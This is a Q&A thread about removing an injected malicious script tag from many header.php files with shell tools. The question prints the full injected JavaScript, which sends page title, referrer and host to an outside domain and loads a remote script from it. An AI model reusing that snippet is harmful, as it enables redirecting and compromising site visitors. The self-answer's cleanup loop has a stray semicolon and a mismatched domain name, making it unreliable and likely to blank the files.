1

I have a number of header.php files that have a malicious script tag contained within them (don't ask). I've written a not-so-elegant shell script to replace these with blank space. I had initially tried to subtract the payload from the header.php but this didn't seem possible as the file was not a sorted list. Below is my code:

echo 'Find all header.php files'
find -name header.php -print0 > tempheader
echo 'Remove malware script from headers'
cat tempheader | xargs -0 sed -i 's/\<script\>var a=''; setTimeout(10); var default_keyword = encodeURIComponent(document.title); var se_referrer = encodeURIComponent(document.referrer); var host = encodeURIComponent(window.location.host); var base = "http:\/\/someplacedodgy.kr\/js\/jquery.min.php"; var n_url = base + "?default_keyword=" + default_keyword + "\&se_referrer=" + se_referrer + "\&source=" + host; var f_url = base + "?c_utt=snt2014\&c_utm=" + encodeURIComponent(n_url); if (default_keyword !== null \&\& default_keyword !== '' \&\& se_referrer !== null \&\& se_referrer !== ''){document.write('\<script type="text\/javascript" src="' + f_url + '"\>' + '\<' + '\/script\>');}\<\/script\>/ /g'

The issue is that this code fails to execute with the error: sed: -e expression #1, char 578: unterminateds' command`. My assumption is that there are unescaped characters causing this issue, I have tried escaping all <> and {}'s, however this didn't seem to help (note the <> are still escaped above).

If there is a way to input a file containing the string into sed like sed -i 's/$payload/ /g' I have not been able to work that out yet.

9
  • 1
    printf %s\\n "$payload" | sed 's/[]/\.$^[]/\\&/g;s|.*|s/&/ /g|' | sed -f-
    – mikeserv
    Commented Jan 13, 2016 at 7:16
  • Can you explain that, I don't see how that'd replace the above string with blank space in the file header.php. Will it autoescape the contents of a script file specified after -f? Thanks.
    – ref
    Commented Jan 13, 2016 at 7:54
  • 1
    it will escape any regexp metachars in $payload and transform the escaped result into a sed s///ubstitution.
    – mikeserv
    Commented Jan 13, 2016 at 7:57
  • 1
    On decent implementations, you can use any 7-bit character in place of /, so s|from|to|flags instead of s/from/to/flags, which might help with the quoting nightmare. Commented Jan 13, 2016 at 7:59
  • see this. @UlrichSchwarz - you can do that with any sed - but that isn't a solution, it's a workaround and it's just going to screw up too. To use syntax characters literally in any language you have to quote them.
    – mikeserv
    Commented Jan 13, 2016 at 8:02

2 Answers 2

0

If, as your answer says, the payload is on a single line by itself, this will do it, while creating backups of the files altered:

find -name header.php -exec sed -i.bak '/someplacedodgy\.kr\/js\/jquery.min.php/d' {} \; -ls

Just be sure that the "someplacedodgy" string is unique to the payload lines.

Omit the .bak from -i.bak if you wish to skip the backups.

0

I worked out an easier solution to this issue as the string was contained on a line by itself.

while read HEADER 
do cat $HEADER | grep -vw "somewheredodgy.kr/js/jquery.min.php"; > modifiedheader 
cp modifiedheader $HEADER 
done < tempheader

You must log in to answer this question.

Not the answer you're looking for? Browse other questions tagged .